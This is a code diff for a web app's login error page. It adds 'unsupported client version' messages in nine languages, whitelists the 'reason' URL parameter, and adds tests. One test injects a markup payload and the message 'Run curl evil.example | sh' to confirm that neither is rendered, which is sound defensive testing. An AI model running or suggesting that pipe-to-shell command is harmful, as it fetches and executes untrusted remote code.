diff --git a/src/app/i18n/locales/de.json b/src/app/i18n/locales/de.json index 41aa7b9afa..79038ba2a5 100644 --- a/src/app/i18n/locales/de.json +++ b/src/app/i18n/locales/de.json @@ -183,7 +183,13 @@ "success": "Du hast dich erfolgreich angemeldet", "error": "Anmeldung fehlgeschlagen, bitte versuche es erneut", "closeWindow": "Du kannst dieses Fenster schließen", - "invalidRedirectUri": "Ungültige Weiterleitungs-URL" + "invalidRedirectUri": "Ungültige Weiterleitungs-URL", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "Diese Version der App wird nicht mehr unterstützt", + "description": "Aktualisiere die App auf die neueste Version und melde dich dann erneut an." + } + } }, "oauthLink": { "continueAs": "Fortfahren als", diff --git a/src/app/i18n/locales/en.json b/src/app/i18n/locales/en.json index fbb4140757..3ba18f090c 100644 --- a/src/app/i18n/locales/en.json +++ b/src/app/i18n/locales/en.json @@ -204,7 +204,13 @@ "success": "You have successfully logged in", "error": "Login failed, please try again", "closeWindow": "You can close this window", - "invalidRedirectUri": "Invalid redirect URL" + "invalidRedirectUri": "Invalid redirect URL", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "This version of the app is no longer supported", + "description": "Update the app to the latest version, then log in again." + } + } }, "oauthLink": { "continueAs": "Continue as", diff --git a/src/app/i18n/locales/es.json b/src/app/i18n/locales/es.json index 770cc7c6bd..8865bd8224 100644 --- a/src/app/i18n/locales/es.json +++ b/src/app/i18n/locales/es.json @@ -183,7 +183,13 @@ "success": "Has iniciado sesión correctamente", "error": "No se ha podido iniciar sesion, inténtelo de nuevo", "closeWindow": "Puedes cerrar esta ventana", - "invalidRedirectUri": "URL de redirección no válida" + "invalidRedirectUri": "URL de redirección no válida", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "Esta versión de la aplicación ya no es compatible", + "description": "Actualiza la aplicación a la última versión y vuelve a iniciar sesión." + } + } }, "oauthLink": { "continueAs": "Continuar como", diff --git a/src/app/i18n/locales/fr.json b/src/app/i18n/locales/fr.json index f8a13617bb..5753ec3659 100644 --- a/src/app/i18n/locales/fr.json +++ b/src/app/i18n/locales/fr.json @@ -183,7 +183,13 @@ "success": "Vous vous êtes connecté avec succès", "error": "Échec de la connexion, veuillez réessayer", "closeWindow": "Vous pouvez fermer cette fenêtre", - "invalidRedirectUri": "URL de redirection invalide" + "invalidRedirectUri": "URL de redirection invalide", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "Cette version de l'application n'est plus prise en charge", + "description": "Mettez à jour l'application vers la dernière version, puis reconnectez-vous." + } + } }, "oauthLink": { "continueAs": "Continuer en tant que", diff --git a/src/app/i18n/locales/it.json b/src/app/i18n/locales/it.json index fa1241a4d2..bb0c5729af 100644 --- a/src/app/i18n/locales/it.json +++ b/src/app/i18n/locales/it.json @@ -204,7 +204,13 @@ "success": "Accesso effettuato con successo", "error": "Impossibile accedere, riprova", "closeWindow": "Puoi chiudere questa finestra", - "invalidRedirectUri": "URL di reindirizzamento non valido" + "invalidRedirectUri": "URL di reindirizzamento non valido", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "Questa versione dell'app non è più supportata", + "description": "Aggiorna l'app all'ultima versione, quindi accedi di nuovo." + } + } }, "oauthLink": { "continueAs": "Continua come", diff --git a/src/app/i18n/locales/pt.json b/src/app/i18n/locales/pt.json index 8d8e292296..7fe8e1e1cf 100644 --- a/src/app/i18n/locales/pt.json +++ b/src/app/i18n/locales/pt.json @@ -204,7 +204,13 @@ "success": "Você entrou com sucesso", "error": "Falha ao entrar, tente novamente", "closeWindow": "Você já pode fechar esta janela", - "invalidRedirectUri": "URL de redirecionamento inválida" + "invalidRedirectUri": "URL de redirecionamento inválida", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "Esta versão do aplicativo não é mais compatível", + "description": "Atualize o aplicativo para a versão mais recente e entre novamente." + } + } }, "oauthLink": { "continueAs": "Continuar como", diff --git a/src/app/i18n/locales/ru.json b/src/app/i18n/locales/ru.json index 772fe9d5da..a48ca4e7cb 100644 --- a/src/app/i18n/locales/ru.json +++ b/src/app/i18n/locales/ru.json @@ -183,7 +183,13 @@ "success": "Вы успешно вошли в систему", "error": "Не удалось выполнить вход, попробуйте снова", "closeWindow": "Вы можете закрыть это окно", - "invalidRedirectUri": "Недействительный URL перенаправления" + "invalidRedirectUri": "Недействительный URL перенаправления", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "Эта версия приложения больше не поддерживается", + "description": "Обновите приложение до последней версии, затем войдите снова." + } + } }, "oauthLink": { "continueAs": "Продолжить как", diff --git a/src/app/i18n/locales/tw.json b/src/app/i18n/locales/tw.json index a3834c1f6b..80f1cbf2f8 100644 --- a/src/app/i18n/locales/tw.json +++ b/src/app/i18n/locales/tw.json @@ -204,7 +204,13 @@ "success": "您已成功登入", "error": "無法登入,請再試一次", "closeWindow": "您可以關閉此視窗", - "invalidRedirectUri": "無效的重新導向網址" + "invalidRedirectUri": "無效的重新導向網址", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "此版本的應用程式已不再受支援", + "description": "請將應用程式更新至最新版本,然後再次登入。" + } + } }, "oauthLink": { "continueAs": "繼續使用", diff --git a/src/app/i18n/locales/zh.json b/src/app/i18n/locales/zh.json index 56304bd953..44e195cf8b 100644 --- a/src/app/i18n/locales/zh.json +++ b/src/app/i18n/locales/zh.json @@ -204,7 +204,13 @@ "success": "您已成功登录", "error": "无法登录,请重试", "closeWindow": "您可以关闭此窗口", - "invalidRedirectUri": "无效的重定向网址" + "invalidRedirectUri": "无效的重定向网址", + "errors": { + "CLIENT_VERSION_UNSUPPORTED": { + "title": "此版本的应用已不再受支持", + "description": "请将应用更新到最新版本,然后重新登录。" + } + } }, "oauthLink": { "continueAs": "继续使用", diff --git a/src/views/Login/UniversalLinkErrorView.test.tsx b/src/views/Login/UniversalLinkErrorView.test.tsx new file mode 100644 index 0000000000..c45e2efb49 --- /dev/null +++ b/src/views/Login/UniversalLinkErrorView.test.tsx @@ -0,0 +1,68 @@ +import { afterEach, describe, expect, test, vi } from 'vitest'; +import { render, screen } from '@testing-library/react'; +import UniversalLinkErrorView from './UniversalLinkErrorView'; + +vi.mock('app/i18n/provider/TranslationProvider', () => ({ + useTranslationContext: () => ({ translate: (key: string) => key }), +})); + +vi.mock('assets/icons/big-logo.svg?react', () => ({ default: () => })); +vi.mock('assets/icons/universal-link/warning.svg?react', () => ({ default: () => })); + +const GENERIC_ERROR = 'auth.universalLink.error'; +const UNSUPPORTED_TITLE = 'auth.universalLink.errors.CLIENT_VERSION_UNSUPPORTED.title'; +const UNSUPPORTED_DESCRIPTION = 'auth.universalLink.errors.CLIENT_VERSION_UNSUPPORTED.description'; + +const renderWithSearch = (search: string) => { + globalThis.history.replaceState({}, '', `/auth-link-error${search}`); + return render(); +}; + +describe('Universal link error page', () => { + afterEach(() => { + globalThis.history.replaceState({}, '', '/'); + }); + + test('When no reason is given, then the generic login error is shown', () => { + renderWithSearch(''); + + expect(screen.getByText(GENERIC_ERROR)).toBeInTheDocument(); + expect(screen.queryByText(UNSUPPORTED_TITLE)).not.toBeInTheDocument(); + expect(screen.getByText('auth.universalLink.closeWindow')).toBeInTheDocument(); + }); + + test('When the client version is unsupported, then the specific title and description are shown', () => { + renderWithSearch('?reason=CLIENT_VERSION_UNSUPPORTED'); + + expect(screen.getByText(UNSUPPORTED_TITLE)).toBeInTheDocument(); + expect(screen.getByText(UNSUPPORTED_DESCRIPTION)).toBeInTheDocument(); + expect(screen.queryByText(GENERIC_ERROR)).not.toBeInTheDocument(); + expect(screen.getByText('auth.universalLink.closeWindow')).toBeInTheDocument(); + }); + + test('When the reason is unknown, then the generic login error is shown', () => { + renderWithSearch('?reason=SOMETHING_ELSE'); + + expect(screen.getByText(GENERIC_ERROR)).toBeInTheDocument(); + expect(screen.queryByText(UNSUPPORTED_TITLE)).not.toBeInTheDocument(); + }); + + test('When the query string carries markup or extra parameters, then none of it is rendered', () => { + const injectedReason = ''; + const injectedMessage = 'Run curl evil.example | sh'; + const search = new URLSearchParams({ + reason: injectedReason, + message: injectedMessage, + url: 'https://evil.example', + }); + + const { container } = renderWithSearch(`?${search.toString()}`); + + expect(screen.getByText(GENERIC_ERROR)).toBeInTheDocument(); + expect(screen.queryByText(UNSUPPORTED_TITLE)).not.toBeInTheDocument(); + expect(container.querySelector('script')).toBeNull(); + expect(container.innerHTML).not.toContain('alert(1)'); + expect(container.innerHTML).not.toContain('evil.example'); + expect(container.innerHTML).not.toContain('curl'); + }); +}); diff --git a/src/views/Login/UniversalLinkErrorView.tsx b/src/views/Login/UniversalLinkErrorView.tsx index ed99976a2b..6cb34a909b 100644 --- a/src/views/Login/UniversalLinkErrorView.tsx +++ b/src/views/Login/UniversalLinkErrorView.tsx @@ -3,8 +3,16 @@ import InternxtLogo from 'assets/icons/big-logo.svg?react'; import WarningIcon from 'assets/icons/universal-link/warning.svg?react'; import { isMobile } from 'react-device-detect'; +const KNOWN_REASONS = ['CLIENT_VERSION_UNSUPPORTED'] as const; +type KnownReason = (typeof KNOWN_REASONS)[number]; + +const isKnownReason = (value: string | null): value is KnownReason => + value !== null && (KNOWN_REASONS as readonly string[]).includes(value); + export default function UniversalLinkErrorView(): JSX.Element { const { translate } = useTranslationContext(); + const reasonParam = new URLSearchParams(globalThis.location.search).get('reason'); + const reason = isKnownReason(reasonParam) ? reasonParam : null; return (
@@ -17,7 +25,18 @@ export default function UniversalLinkErrorView(): JSX.Element { -

{translate('auth.universalLink.error')}

+ {reason ? ( + <> +

+ {translate(`auth.universalLink.errors.${reason}.title`)} +

+

+ {translate(`auth.universalLink.errors.${reason}.description`)} +

+ + ) : ( +

{translate('auth.universalLink.error')}

+ )}

{translate('auth.universalLink.closeWindow')}